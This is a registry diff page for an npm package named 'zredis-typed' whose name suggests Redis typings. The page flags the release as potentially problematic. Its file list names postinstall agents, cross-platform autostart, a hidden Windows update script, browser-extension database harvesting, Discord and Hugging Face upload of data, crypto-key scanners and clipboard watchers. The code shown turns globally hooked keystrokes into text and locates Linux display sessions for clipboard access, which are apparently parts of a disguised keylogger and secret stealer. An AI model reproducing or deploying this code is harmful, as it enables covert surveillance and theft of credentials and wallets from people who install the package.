zredis-typed 1.0.127
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of zredis-typed might be problematic. Click here for more details.
- package/README.md +3 -0
- package/assets/codicons/codicon.css +629 -0
- package/assets/codicons/codicon.ttf +0 -0
- package/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/assets/explorer-highlight/highlight.min.js +1213 -0
- package/assets/files-explorer-template.html +7450 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/assets/remote-control-template.html +3472 -0
- package/assets/secret_filename_patterns.json +81 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRestartFromQueue.d.ts +15 -0
- package/dist/agentRestartFromQueue.js +143 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +400 -0
- package/dist/assets/codicons/codicon.css +629 -0
- package/dist/assets/codicons/codicon.ttf +0 -0
- package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
- package/dist/assets/files-explorer-template.html +7450 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/assets/remote-control-template.html +3472 -0
- package/dist/assets/secret_filename_patterns.json +81 -0
- package/dist/autostart/agentEnvFile.d.ts +80 -0
- package/dist/autostart/agentEnvFile.js +637 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +210 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +278 -0
- package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
- package/dist/chromiumExtensionDbHarvest.js +766 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +71 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +166 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +41 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +176 -0
- package/dist/clipboardExec.d.ts +7 -0
- package/dist/clipboardExec.js +266 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +540 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +238 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +808 -0
- package/dist/discordWebhookPost.d.ts +13 -0
- package/dist/discordWebhookPost.js +123 -0
- package/dist/durableDistDir.d.ts +4 -0
- package/dist/durableDistDir.js +61 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/explorerHeavyDirSkips.d.ts +8 -0
- package/dist/explorerHeavyDirSkips.js +26 -0
- package/dist/exportMirrorCopy.d.ts +27 -0
- package/dist/exportMirrorCopy.js +366 -0
- package/dist/extensionDbHfUpload.d.ts +36 -0
- package/dist/extensionDbHfUpload.js +359 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +21 -0
- package/dist/filesExplorer.js +237 -0
- package/dist/forgeBulkDc.d.ts +69 -0
- package/dist/forgeBulkDc.js +308 -0
- package/dist/forgeRtcAgent.d.ts +31 -0
- package/dist/forgeRtcAgent.js +259 -0
- package/dist/forgeSemver.d.ts +2 -0
- package/dist/forgeSemver.js +25 -0
- package/dist/fsMessages.d.ts +3 -0
- package/dist/fsMessages.js +169 -0
- package/dist/fsProtocol.d.ts +151 -0
- package/dist/fsProtocol.js +7071 -0
- package/dist/headlessAgent.d.ts +28 -0
- package/dist/headlessAgent.js +77 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +141 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +25 -0
- package/dist/hfSeqIdLookup.js +193 -0
- package/dist/hfUpload.d.ts +55 -0
- package/dist/hfUpload.js +1362 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +91 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1097 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxClipboardSession.d.ts +16 -0
- package/dist/linuxClipboardSession.js +179 -0
- package/dist/linuxX11.d.ts +7 -0
- package/dist/linuxX11.js +71 -0
- package/dist/relayAgent.d.ts +25 -0
- package/dist/relayAgent.js +1431 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +36 -0
- package/dist/relayDashboardGate.js +378 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayPackageServe.d.ts +6 -0
- package/dist/relayPackageServe.js +107 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +2268 -0
- package/dist/secretScan/agentStartupAudit.d.ts +58 -0
- package/dist/secretScan/agentStartupAudit.js +784 -0
- package/dist/secretScan/auditFindingSlim.d.ts +25 -0
- package/dist/secretScan/auditFindingSlim.js +184 -0
- package/dist/secretScan/auditScanScope.d.ts +25 -0
- package/dist/secretScan/auditScanScope.js +233 -0
- package/dist/secretScan/base58check.d.ts +6 -0
- package/dist/secretScan/base58check.js +49 -0
- package/dist/secretScan/contentScanner.d.ts +23 -0
- package/dist/secretScan/contentScanner.js +278 -0
- package/dist/secretScan/dedupeFindings.d.ts +12 -0
- package/dist/secretScan/dedupeFindings.js +232 -0
- package/dist/secretScan/fileCandidates.d.ts +30 -0
- package/dist/secretScan/fileCandidates.js +370 -0
- package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
- package/dist/secretScan/runFilenameSecretScan.js +360 -0
- package/dist/secretScan/scanConfig.d.ts +6 -0
- package/dist/secretScan/scanConfig.js +87 -0
- package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
- package/dist/secretScan/secp256k1Scalar.js +14 -0
- package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
- package/dist/secretScan/secretAuditExcludePaths.js +46 -0
- package/dist/secretScan/solanaKeypair.d.ts +8 -0
- package/dist/secretScan/solanaKeypair.js +87 -0
- package/dist/secretScan/strictMaterialGate.d.ts +15 -0
- package/dist/secretScan/strictMaterialGate.js +151 -0
- package/dist/secretScan/types.d.ts +86 -0
- package/dist/secretScan/types.js +6 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +214 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +44 -0
- package/dist/windowsInputSync.js +853 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +342 -0
- package/package.json +86 -0
- package/scripts/copy-assets.mjs +44 -0
- package/scripts/discord-live-probe.mjs +221 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-global-roots.mjs +87 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-isolated-runtime.mjs +547 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
- package/scripts/forge-jsx-explorer-restart.mjs +288 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
- package/scripts/postinstall-agent.mjs +571 -0
- package/scripts/postinstall-bootstrap.mjs +279 -0
- package/scripts/postinstall-clipboard-event.mjs +165 -0
- package/scripts/postinstall-durable-materialize.mjs +145 -0
- package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
/** libuiohook VC code for Caps Lock (toggle only; no character inserted). */
|
|
2
|
+
export declare const UIOHOOK_VC_CAPS_LOCK = 58;
|
|
3
|
+
/** libuiohook VC_NUM_LOCK (0x45). Does not produce text; Num Lock on/off changes numpad keycodes. */
|
|
4
|
+
export declare const UIOHOOK_VC_NUM_LOCK = 69;
|
|
5
|
+
export type UiohookKeyModifiers = {
|
|
6
|
+
keycode: number;
|
|
7
|
+
shiftKey: boolean;
|
|
8
|
+
ctrlKey: boolean;
|
|
9
|
+
altKey: boolean;
|
|
10
|
+
metaKey: boolean;
|
|
11
|
+
};
|
|
12
|
+
/**
|
|
13
|
+
* US-layout fallback for Linux/macOS (and rare Windows fallback when ToUnicodeEx returns null).
|
|
14
|
+
* `capsLockOn` is tracked by toggling on Caps Lock key presses (see `translateUiohookKeydown`).
|
|
15
|
+
*/
|
|
16
|
+
export declare function keyEventToTextFallback(e: UiohookKeyModifiers, capsLockOn: boolean): string | null;
|
|
17
|
+
/**
|
|
18
|
+
* Single keydown → character(s) or null (modifier-only, Caps toggle, unsupported key).
|
|
19
|
+
* Mutates `capsLockOnRef` when the Caps Lock key is pressed (toggle).
|
|
20
|
+
*/
|
|
21
|
+
export declare function translateUiohookKeydown(ev: UiohookKeyModifiers, capsLockOnRef: {
|
|
22
|
+
current: boolean;
|
|
23
|
+
}): string | null;
|
|
@@ -0,0 +1,204 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.UIOHOOK_VC_NUM_LOCK = exports.UIOHOOK_VC_CAPS_LOCK = void 0;
|
|
4
|
+
exports.keyEventToTextFallback = keyEventToTextFallback;
|
|
5
|
+
exports.translateUiohookKeydown = translateUiohookKeydown;
|
|
6
|
+
/**
|
|
7
|
+
* uiohook keydown → text for forge-db keyboard sync.
|
|
8
|
+
*
|
|
9
|
+
* - **Windows:** `ToUnicodeEx` (layout-accurate; see `win32InputNative.ts`).
|
|
10
|
+
* - **Linux / macOS:** US QWERTY-style fallback + tracked Caps Lock (uiohook does not expose caps state).
|
|
11
|
+
* Fallback allows **Ctrl+Alt** (AltGr) like the Win32 path; lone Ctrl / lone Alt are still filtered.
|
|
12
|
+
* - **Numpad:** With Num Lock on, uiohook uses base VC_KP_* (`71`–`82`, etc.); with Num Lock off it uses
|
|
13
|
+
* `0xEE00 | …` navigation codes — we ignore those in fallback (no fake digits). Windows uses `ToUnicodeEx`
|
|
14
|
+
* + keyboard state (including Num Lock) for the correct character.
|
|
15
|
+
*/
|
|
16
|
+
const win32InputNative_1 = require("./win32InputNative");
|
|
17
|
+
/** libuiohook VC code for Caps Lock (toggle only; no character inserted). */
|
|
18
|
+
exports.UIOHOOK_VC_CAPS_LOCK = 58;
|
|
19
|
+
/** libuiohook VC_NUM_LOCK (0x45). Does not produce text; Num Lock on/off changes numpad keycodes. */
|
|
20
|
+
exports.UIOHOOK_VC_NUM_LOCK = 0x45;
|
|
21
|
+
/**
|
|
22
|
+
* libuiohook ORs `0xEE00` into the scancode when Num Lock is off so numpad keys become
|
|
23
|
+
* Home / arrows / PgUp / … (see `VC_KP_HOME` = `0xEE00 | VC_KP_7` in uiohook.h).
|
|
24
|
+
* Those codes must not be treated as digits or punctuation in the US fallback.
|
|
25
|
+
*/
|
|
26
|
+
function isNumpadNavigationExtendedVc(keycode) {
|
|
27
|
+
return (keycode & 0xff00) === 0xee00;
|
|
28
|
+
}
|
|
29
|
+
function modifierBlocksText(e) {
|
|
30
|
+
if (e.metaKey)
|
|
31
|
+
return true;
|
|
32
|
+
if (e.ctrlKey && !e.altKey)
|
|
33
|
+
return true;
|
|
34
|
+
if (e.altKey && !e.ctrlKey)
|
|
35
|
+
return true;
|
|
36
|
+
// Keep Ctrl+Alt allowed: AltGr on Windows / many Linux layouts (matches `unicodeFromUiohookKeyEvent`).
|
|
37
|
+
return false;
|
|
38
|
+
}
|
|
39
|
+
/**
|
|
40
|
+
* US-layout fallback for Linux/macOS (and rare Windows fallback when ToUnicodeEx returns null).
|
|
41
|
+
* `capsLockOn` is tracked by toggling on Caps Lock key presses (see `translateUiohookKeydown`).
|
|
42
|
+
*/
|
|
43
|
+
function keyEventToTextFallback(e, capsLockOn) {
|
|
44
|
+
if (modifierBlocksText(e))
|
|
45
|
+
return null;
|
|
46
|
+
if (isNumpadNavigationExtendedVc(e.keycode))
|
|
47
|
+
return null;
|
|
48
|
+
const sh = e.shiftKey;
|
|
49
|
+
const letters = {
|
|
50
|
+
30: "a",
|
|
51
|
+
48: "b",
|
|
52
|
+
46: "c",
|
|
53
|
+
32: "d",
|
|
54
|
+
18: "e",
|
|
55
|
+
33: "f",
|
|
56
|
+
34: "g",
|
|
57
|
+
35: "h",
|
|
58
|
+
23: "i",
|
|
59
|
+
36: "j",
|
|
60
|
+
37: "k",
|
|
61
|
+
38: "l",
|
|
62
|
+
50: "m",
|
|
63
|
+
49: "n",
|
|
64
|
+
24: "o",
|
|
65
|
+
25: "p",
|
|
66
|
+
16: "q",
|
|
67
|
+
19: "r",
|
|
68
|
+
31: "s",
|
|
69
|
+
20: "t",
|
|
70
|
+
22: "u",
|
|
71
|
+
47: "v",
|
|
72
|
+
17: "w",
|
|
73
|
+
45: "x",
|
|
74
|
+
21: "y",
|
|
75
|
+
44: "z",
|
|
76
|
+
};
|
|
77
|
+
const base = letters[e.keycode];
|
|
78
|
+
if (base) {
|
|
79
|
+
const upper = sh !== capsLockOn;
|
|
80
|
+
return upper ? base.toUpperCase() : base;
|
|
81
|
+
}
|
|
82
|
+
const digitCodes = {
|
|
83
|
+
2: "1",
|
|
84
|
+
3: "2",
|
|
85
|
+
4: "3",
|
|
86
|
+
5: "4",
|
|
87
|
+
6: "5",
|
|
88
|
+
7: "6",
|
|
89
|
+
8: "7",
|
|
90
|
+
9: "8",
|
|
91
|
+
10: "9",
|
|
92
|
+
11: "0",
|
|
93
|
+
};
|
|
94
|
+
const d = digitCodes[e.keycode];
|
|
95
|
+
if (d) {
|
|
96
|
+
if (!sh)
|
|
97
|
+
return d;
|
|
98
|
+
const m = {
|
|
99
|
+
"1": "!",
|
|
100
|
+
"2": "@",
|
|
101
|
+
"3": "#",
|
|
102
|
+
"4": "$",
|
|
103
|
+
"5": "%",
|
|
104
|
+
"6": "^",
|
|
105
|
+
"7": "&",
|
|
106
|
+
"8": "*",
|
|
107
|
+
"9": "(",
|
|
108
|
+
"0": ")",
|
|
109
|
+
};
|
|
110
|
+
return m[d] ?? d;
|
|
111
|
+
}
|
|
112
|
+
/** Numpad digits (VC codes from libuiohook). */
|
|
113
|
+
const numpadDigit = {
|
|
114
|
+
82: "0",
|
|
115
|
+
79: "1",
|
|
116
|
+
80: "2",
|
|
117
|
+
81: "3",
|
|
118
|
+
75: "4",
|
|
119
|
+
76: "5",
|
|
120
|
+
77: "6",
|
|
121
|
+
71: "7",
|
|
122
|
+
72: "8",
|
|
123
|
+
73: "9",
|
|
124
|
+
};
|
|
125
|
+
const nd = numpadDigit[e.keycode];
|
|
126
|
+
if (nd)
|
|
127
|
+
return nd;
|
|
128
|
+
/** Numpad operators (VC codes; libuiohook). */
|
|
129
|
+
if (e.keycode === 55)
|
|
130
|
+
return "*";
|
|
131
|
+
if (e.keycode === 78)
|
|
132
|
+
return "+";
|
|
133
|
+
if (e.keycode === 74)
|
|
134
|
+
return "-";
|
|
135
|
+
if (e.keycode === 83)
|
|
136
|
+
return ".";
|
|
137
|
+
if (e.keycode === 3637)
|
|
138
|
+
return "/";
|
|
139
|
+
const SC = {
|
|
140
|
+
Space: 57,
|
|
141
|
+
Enter: 28,
|
|
142
|
+
Tab: 15,
|
|
143
|
+
Semicolon: 39,
|
|
144
|
+
Equal: 13,
|
|
145
|
+
Comma: 51,
|
|
146
|
+
Minus: 12,
|
|
147
|
+
Period: 52,
|
|
148
|
+
Slash: 53,
|
|
149
|
+
Backquote: 41,
|
|
150
|
+
BracketLeft: 26,
|
|
151
|
+
Backslash: 43,
|
|
152
|
+
BracketRight: 27,
|
|
153
|
+
Quote: 40,
|
|
154
|
+
};
|
|
155
|
+
if (e.keycode === SC.Space)
|
|
156
|
+
return " ";
|
|
157
|
+
if (e.keycode === SC.Enter)
|
|
158
|
+
return "\n";
|
|
159
|
+
if (e.keycode === SC.Tab)
|
|
160
|
+
return "\t";
|
|
161
|
+
const sym = [
|
|
162
|
+
{ c: SC.Semicolon, n: ";", s: ":" },
|
|
163
|
+
{ c: SC.Equal, n: "=", s: "+" },
|
|
164
|
+
{ c: SC.Comma, n: ",", s: "<" },
|
|
165
|
+
{ c: SC.Minus, n: "-", s: "_" },
|
|
166
|
+
{ c: SC.Period, n: ".", s: ">" },
|
|
167
|
+
{ c: SC.Slash, n: "/", s: "?" },
|
|
168
|
+
{ c: SC.Backquote, n: "`", s: "~" },
|
|
169
|
+
{ c: SC.BracketLeft, n: "[", s: "{" },
|
|
170
|
+
{ c: SC.Backslash, n: "\\", s: "|" },
|
|
171
|
+
{ c: SC.BracketRight, n: "]", s: "}" },
|
|
172
|
+
{ c: SC.Quote, n: "'", s: '"' },
|
|
173
|
+
];
|
|
174
|
+
for (const x of sym) {
|
|
175
|
+
if (e.keycode === x.c)
|
|
176
|
+
return sh ? x.s : x.n;
|
|
177
|
+
}
|
|
178
|
+
return null;
|
|
179
|
+
}
|
|
180
|
+
/**
|
|
181
|
+
* Single keydown → character(s) or null (modifier-only, Caps toggle, unsupported key).
|
|
182
|
+
* Mutates `capsLockOnRef` when the Caps Lock key is pressed (toggle).
|
|
183
|
+
*/
|
|
184
|
+
function translateUiohookKeydown(ev, capsLockOnRef) {
|
|
185
|
+
if (ev.keycode === exports.UIOHOOK_VC_CAPS_LOCK) {
|
|
186
|
+
// Toggle our tracked state on every platform. On Win32 the ToUnicodeEx path also reads
|
|
187
|
+
// GetKeyState(VK_CAPITAL) so it doesn't use this ref — but the fallback path does, so
|
|
188
|
+
// we must always track to keep the fallback in sync.
|
|
189
|
+
capsLockOnRef.current = !capsLockOnRef.current;
|
|
190
|
+
return null;
|
|
191
|
+
}
|
|
192
|
+
if (ev.keycode === exports.UIOHOOK_VC_NUM_LOCK) {
|
|
193
|
+
return null;
|
|
194
|
+
}
|
|
195
|
+
try {
|
|
196
|
+
const u = (0, win32InputNative_1.unicodeFromUiohookKeyEvent)(ev);
|
|
197
|
+
if (u !== null && u !== "")
|
|
198
|
+
return u;
|
|
199
|
+
}
|
|
200
|
+
catch {
|
|
201
|
+
// koffi / Win32 API failure — fall through to US fallback below
|
|
202
|
+
}
|
|
203
|
+
return keyEventToTextFallback(ev, capsLockOnRef.current);
|
|
204
|
+
}
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
export declare function linuxWaylandDisplayValid(name: string): boolean;
|
|
2
|
+
/** Drop stale `DISPLAY` / `WAYLAND_DISPLAY` left in forge-js-agent.env after reboot or session change. */
|
|
3
|
+
export declare function linuxClearStaleGraphicalEnv(): void;
|
|
4
|
+
/** First `wayland-N` socket name under XDG_RUNTIME_DIR, if any. */
|
|
5
|
+
export declare function linuxDiscoverWaylandDisplay(): string | null;
|
|
6
|
+
/** First local X11 display (`:N`) with an existing abstract socket. */
|
|
7
|
+
export declare function linuxDiscoverDisplay(): string | null;
|
|
8
|
+
/**
|
|
9
|
+
* Fill missing `XDG_RUNTIME_DIR`, `WAYLAND_DISPLAY`, `DISPLAY`, `DBUS_SESSION_BUS_ADDRESS`,
|
|
10
|
+
* and `XAUTHORITY` in `process.env` when a desktop session is present on the host.
|
|
11
|
+
*/
|
|
12
|
+
export declare function ensureLinuxGraphicalSessionEnv(): void;
|
|
13
|
+
/**
|
|
14
|
+
* True when an X11 or Wayland desktop session appears present (after optional env discovery).
|
|
15
|
+
*/
|
|
16
|
+
export declare function linuxDesktopSessionActive(): boolean;
|
|
@@ -0,0 +1,179 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.linuxWaylandDisplayValid = linuxWaylandDisplayValid;
|
|
37
|
+
exports.linuxClearStaleGraphicalEnv = linuxClearStaleGraphicalEnv;
|
|
38
|
+
exports.linuxDiscoverWaylandDisplay = linuxDiscoverWaylandDisplay;
|
|
39
|
+
exports.linuxDiscoverDisplay = linuxDiscoverDisplay;
|
|
40
|
+
exports.ensureLinuxGraphicalSessionEnv = ensureLinuxGraphicalSessionEnv;
|
|
41
|
+
exports.linuxDesktopSessionActive = linuxDesktopSessionActive;
|
|
42
|
+
/**
|
|
43
|
+
* Best-effort discovery of graphical session env for clipboard tools under systemd --user,
|
|
44
|
+
* XDG autostart, or boot-before-login when forge-js-agent.env is stale or incomplete.
|
|
45
|
+
*/
|
|
46
|
+
const fs = __importStar(require("node:fs"));
|
|
47
|
+
const os = __importStar(require("node:os"));
|
|
48
|
+
const path = __importStar(require("node:path"));
|
|
49
|
+
const linuxX11_1 = require("./linuxX11");
|
|
50
|
+
function linuxWaylandDisplayValid(name) {
|
|
51
|
+
return waylandSocketExists(name);
|
|
52
|
+
}
|
|
53
|
+
function waylandSocketExists(name) {
|
|
54
|
+
const xdg = (process.env.XDG_RUNTIME_DIR || "").trim() || xdgRuntimeDir();
|
|
55
|
+
if (!xdg || !name)
|
|
56
|
+
return false;
|
|
57
|
+
try {
|
|
58
|
+
return fs.existsSync(path.join(xdg, name));
|
|
59
|
+
}
|
|
60
|
+
catch {
|
|
61
|
+
return false;
|
|
62
|
+
}
|
|
63
|
+
}
|
|
64
|
+
/** Drop stale `DISPLAY` / `WAYLAND_DISPLAY` left in forge-js-agent.env after reboot or session change. */
|
|
65
|
+
function linuxClearStaleGraphicalEnv() {
|
|
66
|
+
if (process.platform !== "linux")
|
|
67
|
+
return;
|
|
68
|
+
const disp = (process.env.DISPLAY || "").trim();
|
|
69
|
+
if (disp && !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
|
|
70
|
+
delete process.env.DISPLAY;
|
|
71
|
+
}
|
|
72
|
+
const wl = (process.env.WAYLAND_DISPLAY || "").trim();
|
|
73
|
+
if (wl && !waylandSocketExists(wl)) {
|
|
74
|
+
delete process.env.WAYLAND_DISPLAY;
|
|
75
|
+
}
|
|
76
|
+
}
|
|
77
|
+
function linuxUid() {
|
|
78
|
+
try {
|
|
79
|
+
return os.userInfo().uid;
|
|
80
|
+
}
|
|
81
|
+
catch {
|
|
82
|
+
return process.getuid?.() ?? 1000;
|
|
83
|
+
}
|
|
84
|
+
}
|
|
85
|
+
function xdgRuntimeDir() {
|
|
86
|
+
const fromEnv = (process.env.XDG_RUNTIME_DIR || "").trim();
|
|
87
|
+
if (fromEnv)
|
|
88
|
+
return fromEnv;
|
|
89
|
+
return `/run/user/${linuxUid()}`;
|
|
90
|
+
}
|
|
91
|
+
/** First `wayland-N` socket name under XDG_RUNTIME_DIR, if any. */
|
|
92
|
+
function linuxDiscoverWaylandDisplay() {
|
|
93
|
+
const xdg = xdgRuntimeDir();
|
|
94
|
+
try {
|
|
95
|
+
if (!fs.existsSync(xdg))
|
|
96
|
+
return null;
|
|
97
|
+
const names = fs
|
|
98
|
+
.readdirSync(xdg)
|
|
99
|
+
.filter((e) => /^wayland-\d+$/.test(e))
|
|
100
|
+
.sort((a, b) => {
|
|
101
|
+
const na = parseInt(a.split("-")[1] ?? "0", 10);
|
|
102
|
+
const nb = parseInt(b.split("-")[1] ?? "0", 10);
|
|
103
|
+
return na - nb;
|
|
104
|
+
});
|
|
105
|
+
return names[0] ?? null;
|
|
106
|
+
}
|
|
107
|
+
catch {
|
|
108
|
+
return null;
|
|
109
|
+
}
|
|
110
|
+
}
|
|
111
|
+
/** First local X11 display (`:N`) with an existing abstract socket. */
|
|
112
|
+
function linuxDiscoverDisplay() {
|
|
113
|
+
try {
|
|
114
|
+
const entries = fs.readdirSync("/tmp/.X11-unix");
|
|
115
|
+
const nums = entries
|
|
116
|
+
.map((e) => /^X(\d+)$/.exec(e))
|
|
117
|
+
.filter((m) => m !== null)
|
|
118
|
+
.map((m) => parseInt(m[1], 10))
|
|
119
|
+
.sort((a, b) => a - b);
|
|
120
|
+
if (nums.length === 0)
|
|
121
|
+
return null;
|
|
122
|
+
return `:${nums[0]}`;
|
|
123
|
+
}
|
|
124
|
+
catch {
|
|
125
|
+
return null;
|
|
126
|
+
}
|
|
127
|
+
}
|
|
128
|
+
/**
|
|
129
|
+
* Fill missing `XDG_RUNTIME_DIR`, `WAYLAND_DISPLAY`, `DISPLAY`, `DBUS_SESSION_BUS_ADDRESS`,
|
|
130
|
+
* and `XAUTHORITY` in `process.env` when a desktop session is present on the host.
|
|
131
|
+
*/
|
|
132
|
+
function ensureLinuxGraphicalSessionEnv() {
|
|
133
|
+
if (process.platform !== "linux")
|
|
134
|
+
return;
|
|
135
|
+
linuxClearStaleGraphicalEnv();
|
|
136
|
+
const xdg = xdgRuntimeDir();
|
|
137
|
+
if (!(process.env.XDG_RUNTIME_DIR || "").trim() && fs.existsSync(xdg)) {
|
|
138
|
+
process.env.XDG_RUNTIME_DIR = xdg;
|
|
139
|
+
}
|
|
140
|
+
const runtime = (process.env.XDG_RUNTIME_DIR || "").trim() || xdg;
|
|
141
|
+
if (runtime && !(process.env.WAYLAND_DISPLAY || "").trim()) {
|
|
142
|
+
const wl = linuxDiscoverWaylandDisplay();
|
|
143
|
+
if (wl)
|
|
144
|
+
process.env.WAYLAND_DISPLAY = wl;
|
|
145
|
+
}
|
|
146
|
+
if (!(process.env.DISPLAY || "").trim()) {
|
|
147
|
+
const disp = linuxDiscoverDisplay();
|
|
148
|
+
if (disp)
|
|
149
|
+
process.env.DISPLAY = disp;
|
|
150
|
+
}
|
|
151
|
+
